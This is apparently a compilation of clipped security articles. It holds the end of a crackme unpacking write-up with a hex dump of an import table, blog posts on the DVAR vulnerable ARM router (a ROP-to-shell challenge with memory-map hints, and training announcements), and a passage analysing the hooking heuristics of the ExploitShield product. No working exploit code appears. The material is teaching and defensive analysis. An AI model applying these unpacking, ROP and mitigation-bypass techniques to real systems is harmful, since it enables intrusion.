005AD61C DD 04 91 7C CA 3F 86 7C D9 2F 81 7C EF D6 81 7C Ý‘|Ê?†|Ù/|ïÖ|

005AD62C 93 CC 81 7C 87 4B 81 7C A8 2F 81 7C 37 CD 80 7C “Ì|‡K|¨/|7Í€|

005AD63C 98 0F 81 7C 56 2C 81 7C 84 9B 80 7C F1 9A 80 7C ˜|V,|„›€|ñš€|

005AD64C E1 26 81 7C 2E 0C 81 7C EF 50 83 7C 76 20 83 7C á&|..|ïPƒ|v ƒ|

005AD65C 7B D3 81 7C 3C 8A 83 7C 30 A5 80 7C B0 9F 80 7C \{Ó|<Šƒ|0¥€|°Ÿ€|

005AD66C 11 7D 83 7C C3 C1 81 7C 6B 11 81 7C 6F BD 80 7C \}ƒ|ÃÁ|k|o½€|

005AD67C C3 B2 81 7C 47 28 81 7C 17 D1 80 7C FE A3 80 7C Ã²|G\(|Ñ€|þ£€|

005AD68C A8 34 83 7C 02 16 81 7C A4 16 82 7C A8 F7 82 7C ¨4ƒ||¤‚|¨÷‚|

005AD69C BD 2E 81 7C 4D C0 80 7C 35 14 82 7C 09 2A 83 7C ½.|MÀ€|5‚|.\*ƒ|

005AD6AC 66 98 80 7C E0 10 90 7C 00 10 90 7C 0D 61 83 7C f˜€|à|.|.aƒ|

005AD6BC 4A 93 80 7C B5 08 83 7C 8B 99 80 7C A8 C1 80 7C J“€|µƒ|‹™€|¨Á€|

005AD6CC E7 9B 80 7C DB A0 80 7C 30 25 80 7C B7 A0 80 7C ç›€|Û €|0%€|· €|

005AD6DC D0 97 80 7C E3 14 82 7C 46 24 80 7C DC 15 81 7C Ð—€|ã‚|F$€|Ü|

005AD6EC 00 00 00 00 80 48 12 77 39 4B 12 77 00 00 00 00 ....€Hw9Kw....

005AD6FC A8 11 A4 7C 00 00 00 00 6E 43 42 7E 7D 6D 45 7E ¨¤|....nCB~\}mE~

005AD70C 6B F5 42 7E 6B 21 43 7E BA 0D 43 7E C7 03 43 7E kõB~k\!C~º.C~ÇC~

005AD71C 2E 8C 41 7E A9 E4 42 7E 40 11 43 7E 9D C2 42 7E .ŒA~©äB~@C~ÂB~

005AD72C ED 42 42 7E 7E C1 42 7E FD 8F 42 7E E9 8F 42 7E íBB~~ÁB~ýB~éB~

005AD73C 5D 94 41 7E 9C 8F 41 7E 59 70 45 7E 5E EA 42 7E \]”A~œA~YpE~^êB~

005AD74C F6 E8 42 7E FD AA 42 7E 28 8E 41 7E 12 D3 42 7E öèB~ýªB~\(ŽA~ÓB~

005AD75C B4 90 42 7E 2B 77 42 7E 89 C6 43 7E 02 C7 43 7E ´B~+wB~‰ÆC~ÇC~

005AD76C 2F 9C 42 7E C8 98 42 7E 78 8E 41 7E AB 8E 41 7E /œB~È˜B~xŽA~«ŽA~

005AD77C D2 D1 42 7E A8 03 43 7E C2 F3 42 7E AB AE 42 7E ÒÑB~¨C~ÂóB~«®B~

005AD78C 7F 5F 45 7E 3D 9E 42 7E 44 99 42 7E 00 F1 44 7E \_E~=žB~D™B~.ñD~

005AD79C E7 C2 43 7E 22 78 42 7E 46 DE 41 7E 66 97 42 7E çÂC~"xB~FÞA~f—B~

005AD7AC 5E C3 42 7E 7A C3 42 7E 77 02 43 7E 9E 0F 43 7E ^ÃB~zÃB~wC~žC~

005AD7BC 65 02 43 7E EA 07 45 7E 30 99 42 7E 3E D3 42 7E eC~êE~0™B~>ÓB~

005AD7CC 4E 97 42 7E A0 97 42 7E 9C B1 42 7E B2 DE 42 7E N—B~ —B~œ±B~²ÞB~

005AD7DC 56 AF 42 7E 11 90 42 7E 39 C7 43 7E C7 86 41 7E V¯B~B~9ÇC~Ç†A~

005AD7EC 9D 86 41 7E 8E 90 42 7E 60 9B 42 7E 4E 4A 42 7E †A~ŽB~\`›B~NJB~

005AD7FC 9E B2 42 7E 12 B1 42 7E 40 A3 42 7E F6 8B 41 7E ž²B~±B~@£B~ö‹A~

005AD80C 49 98 42 7E B8 96 41 7E 00 00 00 00 F8 94 B4 76 I˜B~¸–A~....ø”´v

005AD81C DF AC B4 76 A5 AD B4 76 BF A8 B5 76 4F 4E B4 76 ß¬´v¥­´v¿¨µvON´v

005AD82C E1 07 B5 76 D4 02 B5 76 E1 95 B4 76 56 04 B5 76 áµvÔµvá•´vVµv

005AD83C F3 05 B5 76 B2 06 B5 76 00 00 00 00 53 2E AB 71 óµv²µv....S.«q

005AD84C 55 53 AB 71 7B 3F AB 71 A8 30 AB 71 ED 3F AB 71 US«q\{?«q¨0«qí?«q

005AD85C E1 2E AB 71 50 3F AB 71 11 42 AB 71 55 6A AB 71 á.«qP?«qB«qUj«q

005AD86C 40 10 AC 71 D3 8C AB 71 91 E4 AB 71 03 E7 AB 71 @¬qÓŒ«q‘ä«qç«q

005AD87C 80 44 AB 71 30 2E AD 71 F6 0B AC 71 10 3D AB 71 €D«q0.­qö¬q=«q

005AD88C AD 2E AB 71 C1 45 AB 71 68 0B AC 71 53 2E AB 71 ­.«qÁE«qh¬qS.«q

005AD89C AD 2E AB 71 07 4A AB 71 CE 3C AB 71 27 4C AB 71 ­.«qJ«qÎ<«q'L«q

005AD8AC 70 2E AD 71 2B 3E AB 71 D6 2E AD 71 00 00 00 00 p.­q+>«qÖ.­q....

005AD8BC 4A F9 52 77 AC F1 4F 77 00 00 00 00 64 D4 1A 00 JùRw¬ñOw....dÔ.

005AD8CC 00 00 00 00 00 00 00 00 A4 D9 1A 00 00 D0 1A 00 ........¤Ù..Ð.

005AD8DC 9C D4 1A 00 00 00 00 00 00 00 00 00 9C DA 1A 00 œÔ.........œÚ.

005AD8EC 38 D0 1A 00 A4 D4 1A 00 00 00 00 00 00 00 00 00 8Ð.¤Ô.........

005AD8FC C0 DA 1A 00 40 D0 1A 00 F8 D4 1A 00 00 00 00 00 ÀÚ.@Ð.øÔ.....

005AD90C 00 00 00 00 28 DC 1A 00 94 D0 1A 00 F0 D6 1A 00 ....\(Ü.”Ð.ðÖ.

005AD91C 00 00 00 00 00 00 00 00 0C E5 1A 00 8C D2 1A 00 .........å.ŒÒ.

005AD92C FC D6 1A 00 00 00 00 00 00 00 00 00 3E E5 1A 00 üÖ.........>å.

005AD93C 98 D2 1A 00 04 D7 1A 00 00 00 00 00 00 00 00 00 ˜Ò.×.........

005AD94C 5A E5 1A 00 A0 D2 1A 00 18 D8 1A 00 00 00 00 00 Zå. Ò.Ø.....

005AD95C 00 00 00 00 D4 E9 1A 00 B4 D3 1A 00 48 D8 1A 00 ....Ôé.´Ó.HØ.

005AD96C 00 00 00 00 00 00 00 00 A8 EA 1A 00 E4 D3 1A 00 ........¨ê.äÓ.

005AD97C BC D8 1A 00 00 00 00 00 00 00 00 00 06 EC 1A 00 ¼Ø.........ì.

005AD98C 58 D4 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 XÔ.............

005AD99C 00 00 00 00 00 00 00 00 61 64 76 61 70 69 33 32 ........advapi32

005AD9AC 2E 64 6C 6C 00 00 0B 02 52 65 70 6F 72 74 45 76 .dll..ReportEv

005AD9BC 65 6E 74 41 00 00 CB 01 52 65 67 43 6C 6F 73 65 entA..ËRegClose

  

The size reported by ImpREC of 8CC started to look at little large,
considering the CFF output showed the IAT address of the last import was only
at RVA 001AD458 \(0051AD458\). So I decided to try setting the size to one
that matched the CFF output, changing 8cc to 464.

  

Sure enough, the dumped binary ran fine \(in a VM of course ;-\) \) and IDA
had no issues reversing it for analysis.

  

Looking at the dump above you should notice something...between the last entry
starting at 005AD458 and the start of the next at 005AD464 is 000000 - the
same that is used to indicate separation between IAT entries. This is why
ImpREC thought it was 8CC - it read the memory, parsing it as if 000000 were
the delimiter between IAT entries. Wehn running in memory, this meant nothing,
as the calls would still work. The extra, duplicate IAT entries, seem to have
been written with the sole purpose but to prevent dumping with ImpREC itself.

  

Conclusion

\----------

  

It was a fantastic challenge and I learned more about PE file formats, IAT
structure and mupping than I realized even existed. And I love the irony that
the crack had SEH based unpacking routines, anti-debug checking and a fake IAT
to prevent \(easy\) dumping of the unpacked exe - while the legit binary had
literally nothing in the way of protection that a level1 crackme had.

  

  

# DVAR - Damn Vulnerable ARM Router

**Created:**| _3/7/2018 8:49:41 AM_  
---|---  
**Updated:**| _3/7/2018 8:49:41 AM_  
**Author:**| _wishi_  
**Tags:**| _Embedded routers arm_  
  

  

  1. Mar
1

#  DVAR ROP Challenge - Bonus Round Unlocked\!

##  DVAR ROP Challenge - Bonus Round Unlocked\!

###  THE ARM IoT EXPLOIT LABORATORY

<img src='img/dvar_lightsrv.png' width='316' height='400' />

  
I promised to announce the DVAR Bonus Challenge when I first released the Damn
Vulnerable ARM Router.  
  
I was waiting for a successful completion of the first stack overflow exercise
before I announced the bonus challenge.  
  
@JatanKRaval provided the first working solution, and so here goes - **bonus
round unlocked\!**  
  
Part 2 of the DVAR challenge is to exploit a stack overflow in
"**/usr/bin/lightsrv** " the traffic signal lights server. lightsrv is
automatically started on boot, and listens on port 8080.  
  
Your task is:  

     * Find the buffer overflow vector for lightsrv
     * Crash the program and get pc=0x41414140
     * Work your way through building a proper ROP chain \(XN is enabled\!\)
     * Get a working shell\!
Hints:  
  
**exploitlab-DVAR:~\# ps**  
PID USER VSZ STAT COMMAND  
: : : : :  
245 root 656 S /usr/bin/miniweb  
246 root 640 S /usr/bin/lightsrv <\------- \[TARGET\]  
292 root 1016 S -ash  
321 root 1012 R ps  
  
**exploitlab-DVAR:~\# cat /proc/$\(pidof lightsrv\)/maps**  
00010000-00012000 r-xp 00000000 08:00 512 /usr/bin/lightsrv  
00022000-00023000 rw-p 00002000 08:00 512 /usr/bin/lightsrv  
40000000-40064000 r-xp 00000000 08:00 185 /lib/libc.so  
40064000-40065000 r-xp 00000000 00:00 0 \[sigpage\]  
40073000-40074000 r--p 00063000 08:00 185 /lib/libc.so  
40074000-40075000 rw-p 00064000 08:00 185 /lib/libc.so  
40075000-40077000 rw-p 00000000 00:00 0  
40078000-40089000 r-xp 00000000 08:00 2791 /lib/libgcc\_s.so.1  
40089000-4008a000 rw-p 00009000 08:00 2791 /lib/libgcc\_s.so.1  
befdf000-bf000000 rw-p 00000000 00:00 0 \[stack\]  
ffff0000-ffff1000 r-xp 00000000 00:00 0 \[vectors\]  
  
If you haven't played with DVAR yet, download it from here:  
http://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html  
  
And @Fox0x01's ARM tutorials are always helpful\!  
https://azeria-labs.com/  
  

###  UPCOMING ARM IoT EXPLOIT LABORATORY TRAINING

####  Hack In The Box Amsterdam HITB2018AMS \(3 day\) April 9-11

https://conference.hitb.org/hitbsecconf2018ams/sessions/3-day-training-1-the-
arm-exploit-laboratory/  

####  RECON Montreal 2018 \(4 day\) June 11-14

https://recon.cx/2018/montreal/training/trainingexploitlab.html  
  
Have fun with DVAR-ROP\!  

###

####

Posted 6 days ago by therealsaumil

Labels: ARM, DVAR, exploit development, exploitlab, HITB2018AMS, recon.cx,
reconmtl, ROP, therealsaumil, tinysploitARM, training, tutorial

0

###  Add a comment

  

Comment as:

Sign out

Notify me

  2. Jan
13

#  DVAR - Damn Vulnerable ARM Router

##  Damn Vulnerable ARM Router \(DVAR\)

###  THE ARM IoT EXPLOIT LABORATORY

<img src='img/Temp2_1921.png' width='640' height='340' />

  
DVAR is an emulated Linux based ARM router running a vulnerable web server
that you can sharpen your ARM stack overflow skills with.  
  
DVAR runs in the tinysploitARM VMWare VM under a fully emulated QEMU ARM
router image.  
  
Simply extract the ZIP file and launch the VM via tinysploitARM.vmx. After
starting up, the VM's IP address and default URL shall be displayed on the
console. Using your host computer's browser, navigate to the URL and follow
the instructions and clues. The virtual network adapter is set to NAT mode.  
  
Your goal is to write a working stack overflow exploit for the web server
running on the DVAR tinysploitARM target. DVAR also includes a bonus
challenge, follow @therealsaumil on Twitter for the bonus challenge
announcement.  
  
Download URL: exploitlab\_DVAR\_tinysploitARM.zip - 47.4MB VMWare Image  
SHA256: bc6eb66b7f5c0c71ca418c809213eb452e3fbf90654856ebb0591e164d634e2b  
  
DVAR started as an optional preparatory exercise for the ARM IoT Exploit Lab.  

###  UPCOMING ARM IoT EXPLOIT LABORATORY TRAINING

####  RECON Brussels 2018 \(4 day\) January 29-Feb 1

https://recon.cx/2018/brussels/training/trainingexploitlab.html  

####  Offensivecon Berlin 2018 \(4 day\) February 12-15

https://www.offensivecon.org/trainings/2018/the-arm-iot-exploit-laboratory-
saumil-shah.html  

####  Cansecwest Vancouver 2018 \(4 day\) March 10-13

https://cansecwest.com/dojos/2018/exploitlab.html  

####  SyScan360 Singapore 2018 \(4 day\) March 18-21

https://www.coseinc.com/syscan360/index.php/syscan360/details/SYS1842\#regBox  

###

####  Hack In The Box Amsterdam HITB2018AMS \(3 day\) April 9-11

https://conference.hitb.org/hitbsecconf2018ams/sessions/3-day-training-1-the-
arm-exploit-laboratory/  

###

###  Helpful material

If you are new to the world of ARM exploitation, I highly recommend Azeria's  
excellent tutorials on ARM Assembly, ARM Shellcode and the basics of ARM  
exploitation.  
  
https://azeria-labs.com/ Twitter: @Fox0x01  
  
And these are three general purpose concepts oriented tutorials that every  
systems enthusiast must know:  

####  Operating Systems - A Primer:

http://www.slideshare.net/saumilshah/operating-systems-a-primer  

####  How Functions Work:

http://www.slideshare.net/saumilshah/how-functions-work-7776073  

####  Introduction to Debuggers:

http://www.slideshare.net/saumilshah/introduction-to-debuggers  
  
Happy 2018\!  
  
Saumil Shah  
@therealsaumil

Posted 13th January by therealsaumil

Labels: ARM, cansecwest, DVAR, exploit development, exploit laboratory,
exploitation, HITB2018AMS, RECONBRX, ROP, SYSCAN360, therealsaumil,
tinysploit, tinysploitARM, training

0

###  Add a comment

  

Comment as:

Sign out

Notify me

  

Comment as:

Sign out

Notify me

  3. Sep
26

#  What is common between...

..the ARM IoT Exploit Laboratory and the Christmas Markets in Vienna?  
  

<img src='img/Temp2_1921.png' width='640' height='424' />

  
The ARM IoT Exploit Lab comes to Vienna for the first time\! 3 days of ARM
assembly, shellcode, ROP chains, Firmware analysis, ASLR bypass and owning ARM
Routers and ARM IP Cameras\!  
  
Check @deepsec's blog post for more details and registration.  
  
http://blog.deepsec.net/deepsec-2017-training-arm-iot-exploit-laboratory/  
  
Remember, it is a 3 day training - and starts before all the other trainings
at DEEPSEC2017 this year.

Posted 26th September 2017 by therealsaumil

Labels: 2017, ARM, conference, deepsec, exploit development, exploit
laboratory, exploitlab, iot, saumilshah, therealsaumil, training, vienna

0

###  Add a comment

  4. Jun
27

#  pc=0x44444444 - The ARM Exploit Lab returns to 44CON

<img src='img/Temp2_1921.png' width='320' height='160' />

The ARM Exploit Lab returns to 44CON for a second year, this time with a focus
on exploiting ARM/Linux IoT devices.  
  
This year, I shall be teaching a 3 day class starting with the basics of ARM
Assembly, writing ARM shellcode, remote exploits, ARM ROP chains and
concluding with a grand "from firmware to shell" hack of an ARM WiFi router
and an ARM IP Camera. On actual hardware\!  
  
And as a bonus, I will be joined by co-instructor @Fox0x01, who has put
together a much needed tutorial on ARM Assembly Basics\!  
  
If you are in London in September, there's no reason why you shouldn't be at
44CON\! See you there.  
  
Class link: https://44con.com/44con-training/saumil-shah-the-arm-iot-exploit-
laboratory/

Posted 27th June 2017 by therealsaumil

Labels: 2017, 44con, ARM, exploit laboratory, exploitlab, london,
therealsaumil

0

###  Add a comment

  5. Jun
27

#  ARM IoT Exploit Lab debuts at Blackhat USA 2017

<img src='img/Temp2_1921.png' width='320' height='141' />

After a decade of teaching x86 binary exploitation at Blackhat, we are pleased
to debut the ARM IoT Exploit Laboratory at Blackhat USA 2017\! We are teaching
two classes back to back.  
  
The weekend class "ARM IoT Exploit Lab: Intro" is an introduction to ARM
exploit development covering ARM assembly, ARM shellcode from scratch and
putting together a remote exploit targeting a Linux image running on an ARM
system.  
  
This is followed by the "ARM IoT Exploit Lab: Advanced" class, focusing on
overcoming exploit mitigation technology such as XN \(DEP\) and ASLR on ARM,
extracting and analysing IoT firmware and exploiting IoT binaries. We shall be
building ARM ROP chains and putting together a fully working remote exploit
targeting an ARM based IP Camera as well as an ARM based WiFi router - "from
firmware to shell". Oh yes, we will be trying the attacks against REAL
HARDWARE, not just emulators\!  
  
Class links:  
https://www.blackhat.com/us-17/training/arm-iot-exploit-laboratory-intro.html  
https://www.blackhat.com/us-17/training/arm-iot-exploit-laboratory-
advanced.html  
  
One more thing, my friend @Fox0x01 has put together a wonderful series of
tutorials on ARM Assembly Basics. I highly recommend it for students who are
already registered or thinking of signing up for the ARM IoT Exploit
Laboratory.  
  
See you in Vegas, 18th year in a row\!

Posted 27th June 2017 by therealsaumil

Labels: 2017, advanced, BHUSA, blackhat, BlackHatEvents, exploit laboratory,
exploitlab, saumil, saumil shah, therealsaumil

0

###  Add a comment

  6. Aug
16

#  The ARM ExploitLab goes to 44CON London 2016

<img src='img/Temp2_1921.png' width='320' height='103' />

With the weight of the Internet shifting to ARM based devices \(mobile and
IoT\), ARM exploit development is becoming an increasingly important skill
necessary for practitioners of offensive information security.  
  
We debuted the ARM Exploit Laboratory at CanSecWest 2016, followed by SyScan
and at HITB2016AMS. And as before, we bring all awesome trainings to 44CON as
well\! This year, we shall be offering a special 3 day ARM exploit development
training at 44CON London 2016.  
  
We shall be covering core ARM exploit development concepts from the ground up,
featuring:  

     * ARM Assembly Language
     * How Functions work on ARM
     * Stack Overflows on ARM 
     * ARM Shellcode
     * Defeating XN on ARM
     * ARM Return Oriented Programming
     * Defeating ASLR on ARM
     * Case study - from firmware to ownership - exploiting an ARM router
44CON is less than a month away, so for those interested in signing up for the
class, head over to 44CON's Training Registration page.  
  
See you in London next month\!  
\-- Saumil

Posted 16th August 2016 by therealsaumil

Labels: 2016, 44con, ARM, exploit, exploit development, exploit laboratory,
exploitlab, london, ROP, saumil, saumilshah, therealsaumil, training

0

###  Add a comment

  7. Jun
5

#  Blackhat 2016 Exploit Lab - Pre-Class Tutorials + Crackme's

<img src='img/Temp2_1921.png' width='301' height='400' />

Our Blackhat USA 2016 Exploit Lab Black Belt and Master classes are filling up
fast. If you're taking our classes \(or considering them\), here is some
introductory material - tutorials to refresh your core concepts and a couple
of crackme's to try your hands at exploit writing.  
  

####  Tutorials+Challenge VM for Black Belt

     * Operating Systems - A Primer
     * How Functions Work
     * Introduction to Debuggers
     * TinySPLOIT \- warm up on stack overflows \(30MB download\)
####  Tutorials+Challenge VM for Lab Master

     * Dive Into ROP
     * TinySPLOIT2 \- warm up on ROP techniques \(78MB download\)
It is not mandatory to solve the challenges, but if you are really itching to
get your hands dirty with exploit development, then go for it\!  
  
If you have not yet registered for the classes, here are the registration
pages:  

     * July 30, 31 - Exploit Lab Black Belt - browser exploits, Use-after-free, DEP, ASLR, ROP
     * August 1, 2 - Exploit Lab Master - advanced ROP, Infoleak, 64-bit exploitation
\-- Saumil Shah @therealsaumil  

Posted 5th June 2016 by therealsaumil

Labels: 2016, BHUSA, blackhat, BlackHatEvents, exploit development, exploit
laboratory, exploitlab, therealsaumil, tinysploit, tinysploit2, training,
tutorial, vegas, x64, x86

0

###  Add a comment

  8. Jun
2

#  There's an Intel on every desktop, but an ARM in every pocket

The Exploit Lab enters its 11th year in 2016\! This year, we debuted the ARM
Exploit Lab training at CanSecWest, SyScan and most recently HITB2016AMS. The
response has been fantastic, with HITB2016AMS and the upcoming class at RECON
2016 Montreal completely sold out.  
  

####  <img src='img/Temp2_1921.png' width='320' height='127' />July/August
2016 - BLACKHAT USA

This year, we are still teaching our advanced x86/x64 Exploit Lab classes at
Blackhat USA 2016 with our BLACK BELT and MASTER classes. The early bird
pricing has closed, and the classes are filling up steadily.  
  
July 30, 31 - Exploit Lab Black Belt - browser exploits, Use-after-free, DEP,
ASLR, ROP  
August 1, 2 - Exploit Lab Master - advanced ROP, Infoleak, 64-bit exploitation  
  

####  September 2016 - 44CON UK

<img src='img/Temp2_1921.png' width='320' height='103' />

We have a 3-day version of the ARM Exploit Lab at 44CON, featuring a primer on
ARM Assembly language, writing ARM Shellcode and culminating with bypassing XN
with ARM ROP. Register at 44CON's Training Page.

Posted 2nd June 2016 by therealsaumil

Labels: 2016, 44con, ARM, aslr, black belt, blackhat, class, exploit,
exploitlab, ROP, therealsaumil, training, use-after-free

0

###  Add a comment

  9. Jul
20

#  TinySPLOIT2 - Exploit development exercises for ROP

<img src='img/Temp2_1921.png' width='400' height='333' />

The Exploit Laboratory at Blackhat USA 2015 has stepped up one level. We shall
be teaching our "Black Belt" class on the weekend of August 1,2 featuring
advanced topics such as DEP bypass using Return Oriented Programming and an
in-depth look at Use-After-Free exploits. This shall be followed by our newest
offering on August 3,4 - "The Exploit Lab: Master" class. The Master class is
an uber-advanced class. Students directly attending the Master class are
expected to be proficient with ROP, Use-After-Free exploitation, heap spraying
and debugging techniques.  
  
<img src='img/Temp2_1921.png' width='200' height='111' />To put your ROP
skills to the test, we present **TinySPLOIT2** \- a compact Linux virtual
machine featuring three exploit writing challenges, each progressively more
difficult. Getting a shell now requires the use of Return Oriented
Programming, some proficiency with GDB debugging, ELF binary analysis and some
clever innovation.  
  
TinySPLOIT2 is a 350MB VMware image \(78MB zipped\) and can be downloaded
here. SHA256 checksum:
57f6faa605426addcdb46cde976941e89e7317cc05165e93cc8cda42d697dca8  
  
You can be up and running with TinySPLOIT2 in a matter of minutes. Boot up the
VM, follow the instructions on its web page, write an exploit and get a shell.
You will then need to capture the flag to enter rounds 2 and 3. Good luck and
have fun ROP chaining\!  
  
The older TinySPLOIT virtual machine can still be found here.  
  
Blackhat Training prices go up on the 24th of July, so if you are thinking of
registering for the courses, now's the time. See you in Las Vegas in a few
weeks\!  
  

Posted 20th July 2015 by therealsaumil

Labels: 2015, black belt, blackhat, dep, exploit laboratory, exploitlab, ROP,
therealsaumil, tinysploit, tinysploit2, tutorial, vmware

0

###  Add a comment

  10. Jun
26

#  Stegosploit Was Never An Exploit - My Paper, Toolkit And Thoughts

<img src='img/Temp2_1921.png' width='320' height='213' />

This blog is generally reserved for updates on The Exploit Laboratory, but I
shall borrow it for one "guest post" on my latest exploit delivery technique -
Stegosploit.  

  

I have been working on browser exploit delivery using steganographic
techniques since the past 5 years. I have spoken about some of these
techniques at several conferences around the world. This past year, I had a
few breakthroughs combining steganography with file format polyglots. The goal
of Stegosploit was to demonstrate my motto: "**A good exploit is one that is
delivered in style** ". I demonstrated this technique at Hack In The Box 2015
Amsterdam, on 28th May 2015. I "painted" an exploit on the face of my good
friend Kevin McPeake, as a demonstration of browser exploit delivery via
images. In my slide deck, I made it very clear that Stegosploit was not an
exploit \(although it has a cute logo associated with it\). Slide 7.

  

<img src='img/Temp2_1921.png' width='320' height='240' />

I presented private demonstrations to reporters from iDigitalTimes and Vice
Motherboard, who did a very thorough job in fact checking and representing the
research as accurately as possible in a media article.

  

And then, something happened. Reddit and Twitter exploded with several
scathing commentaries on my work. The backlash was caused by commenters who
were not present during my presentation, nor had seen any demo or even
bothered to research into the technical details that I presented. Instead,
these were just conjectures and inferences derived from my older presentations
at SyScan 2015 and HITB 2013 - techniques that are at best described as
precursors to what Stegosploit actually is.

  
Rather than speculate on the merits or demerits of the technique and
competency of my work and research, I leave you to read this detailed paper
about Stegosploit in Issue 0x08 of PoC||GTFO, the only befitting journal for
publishing research of this kind\!  
  
Along with the paper, I have also r**eleased the Stegosploit v0.2 toolkit** ,
which is packaged as a PNG image within the issue itself. It is an interesting
exercise to extract the tools, and for those of you who do, it gives you a
better appreciation of this kind of research. Hint: "**unzip pocorgtfo08.pdf**
".  
  
Oliver Söhlke published a very well written interview in Vulnerability
Magazine clarifying my position and purpose of Stegosploit, while documenting
the effects of Stegosploit on evading detection.  
  

<img src='img/Temp2_1921.png' width='315' height='400' />

  
  
In the end, I do want to publicly appreciate the fact that the author of the
article published in The Medium was honest enough to revise his mistake.  
  

<img src='img/Temp2_1921.png' width='400' height='372' />

  
I am looking forward to his new article on the topic.  
  
My parting piece of advice to those interested in analyzing or dissecting an
an infosec research topic - when in doubt, please **ask the researcher** ,
instead of kicking off a troll-fest. We would be happy to help you with your
fact checking and correct any mistaken assumptions. We play nice.

Posted 26th June 2015 by The Exploit Laboratory

Labels: evasion, exploit, hitb2015ams, POCorGTFO, poc||gtfo, steganography,
stegosploit, technique

0

###  Add a comment

  

  *[6 days ago]: 2018-03-01T05:09:00.000Z
  *[13th January]: 2018-01-13T13:31:00.001Z
  *[26th September 2017]: 2017-09-26T17:16:00.001Z
  *[27th June 2017]: 2017-06-27T16:13:00.000Z
  *[16th August 2016]: 2016-08-16T06:21:00.000Z
  *[5th June 2016]: 2016-06-05T15:18:00.000Z
  *[2nd June 2016]: 2016-06-02T13:15:00.000Z
  *[20th July 2015]: 2015-07-20T04:56:00.000Z
  *[26th June 2015]: 2015-06-26T20:16:00.002Z

# Ending the Love Affair with ExploitShield – ...And You Will Know Us by the
Trail of Bits

**Created:**| _11/7/2012 6:15:36 PM_  
---|---  
**Updated:**| _11/7/2012 6:15:36 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# Introduction

ExploitShield has been marketed as offering protection “against all known and
unknown 0-day day vulnerability exploits, protecting users where traditional
anti-virus and security products fail.” I found this assertion quite
extraordinary and exciting\! Vulnerabilities in software applications are real
problems for computer users worldwide. So far, we have been pretty bad at
providing actual technology to help individual users defend against
vulnerabilities in software.

In my opinion, Microsoft has made the best advances with their Enhanced
Mitigation Experience Toolkit . EMET changes the behavior of the operating
system to increase the effort attackers have to expend to produce working
exploits. There are blog posts that document exactly what EMET does.

In general, I believe that systems that are upfront and public about their
methodologies are more trustworthy than “secret sauce” systems. EMET is very
upfront about their methodologies, while ExploitShield conceals them in an
attempt to derive additional security from obscurity.

I analyzed the ExploitShield system and technology and the results of my
analysis follow. To summarize, the system is very predictable, attackers can
easily study it and adapt their attacks to overcome it and the implementation
itself creates new attack surface. After this analysis, I do not believe that
this system would help an individual or organization defend themselves against
an attacker with any capability to write their own exploits, 0-day or
otherwise.

# Caveat

The analysis I performed was on their “Browser” edition. It’s possible that
something far more advanced is in their “Corporate” edition, I honestly can’t
say because I haven’t seen it. However, given the ‘tone’ of the implementation
that I analyzed, and the implementation flaws that are in it, I doubt this
possibility and believe that the “Corporate” edition represents just “more of
the same.” I am welcome to being proven wrong.

# Initial Analysis

Usually we can use some excellent and free tools to get a sense of software’s
footprint. I like to use GMER  for this. GMER surveys the entire system and
uses a cross-view technique to identify patches made to running programs.

If you recall, from ExploitShields marketing information, we see popup boxes
that look like this:

<img src='img/Temp2_2714.png' width='300' height='121' />

This screenshot has some tells in it, for example, why is the path specified?
If this was really blocking the ‘exploit’, shouldn’t it never get as far as
specifying a path on the file system?

In the following sections, I’ll go over each phase of my analysis as it
relates to a component of or a concept within ExploitShield.

# ExploitShield uses a Device Driver

One component of the ExploitShield system is a device driver. The device
driver uses an operating-system supported mechanism
\(PsSetCreateProcessNotifyRoutine \) to receive notification from the
operating system when a process is started by the operating system.

Each time a process starts, the device driver examines this process and
optionally loads its own user-mode code module into the starting process. The
criteria for loading a user-mode code module is determined by whether or not
the starting process is a process that ExploitShield is protecting.

# User-Mode Component

The user-mode component seems to exist only to hook/detour specific functions.

The act of function hooking, also called function detouring, involves making
modifications to the beginning of a function such that when that function is
invoked, another function is invoked instead. The paper on Detours  by MS
Research explains the concept pretty thoroughly.

Function hooking is commonly used as a way to implement a checker or reference
monitor for an application. A security system can detour a function, such as
CreateProcessA, and make a heuristics-based decision on the arguments to
CreateProcessA. If the heuristic indicates that the behavior is suspect, the
security system can take some action, such as failing the call to
CreateProcessA or terminating the process.

# Hooked Functions

ExploitShield seems to function largely by detouring the following methods:

\* WinExec  
\* CreateProcessW/A  
\* CreateFileW/A  
\* ShellExecute  
\* UrlDownloadToFileW/A  
\* UrlDownloadToCacheFileW/A

Here we can get a sense of what the authors of ExploitShield meant when they
said “After researching thousands of vulnerability exploits
ZeroVulnerabilityLabs has developed an innovative patent-pending technology
that is able to detect if a shielded application is being exploited
maliciously”. These are functions commonly used by shellcode to drop and
execute some other program\!

# Function Hook Behavior

Each function implements a straightforward heuristic. Before any procedure
\(on x86\) is invoked, the address to return to after the procedure is
finished is pushed onto the stack. Each hook retrieves the return address off
of the stack, and asks questions about the attributes of the return address.

  * Are the page permissions of the address RX \(read-execute\)?
  * Is the address located within the bounds of a loaded module?

If either of these two tests fail, ExploitShield reports that it has
discovered an exploit\!

# A Confusion of Terms

  * **Vulnerability** : A vulnerability is a property of a piece of software that allows for some kind of trust violation. Vulnerabilities have a really broad definition. Memory corruption vulnerabilities have had such an impact on computer security that many times, ‘vulnerability’ is used simply as a shorthand for ‘memory corruption vulnerability’ however other kinds of vulnerabilities do exist, for example information disclosure vulnerabilities or authentication bypass vulnerabilities. An information disclosure vulnerability could sometimes be worse for individual privacy than a memory corruption vulnerability.
  * **Exploit** : An exploit is a software or procedure that uses a vulnerability to effect some action, usually to execute a payload.
  * **Payload** : Attacker created software that executes after a vulnerability has been used to compromise a system.

It is my belief that when ExploitShield uses the term ‘exploit’, they really
mean ‘payload’.

# A Good Day for ExploitShield

So what is a play by play of ExploitShield functioning as expected? Let’s take
a look, abstracting the details of exactly which exploit is used:

  1. A user is fooled into navigating to a malicious web page under the attackers control. They can’t really be blamed too much for this, they just need to make this mistake once and the visit could be the result of an attacker compromising a legitimate website and using it to serve malware.
  2. This web page contains an exploit for a vulnerability in the user’s browser. The web browser loads the document that contains the exploit and begins to parse and process the exploit document.
  3. The data in the exploit document has been modified such that the program parsing the document does something bad. Let’s say that what the exploit convinces the web browser to do is to overwrite a function pointer stored somewhere in memory with a value that is the address of data that is also supplied by the exploit. Next, the vulnerable program calls this function pointer.
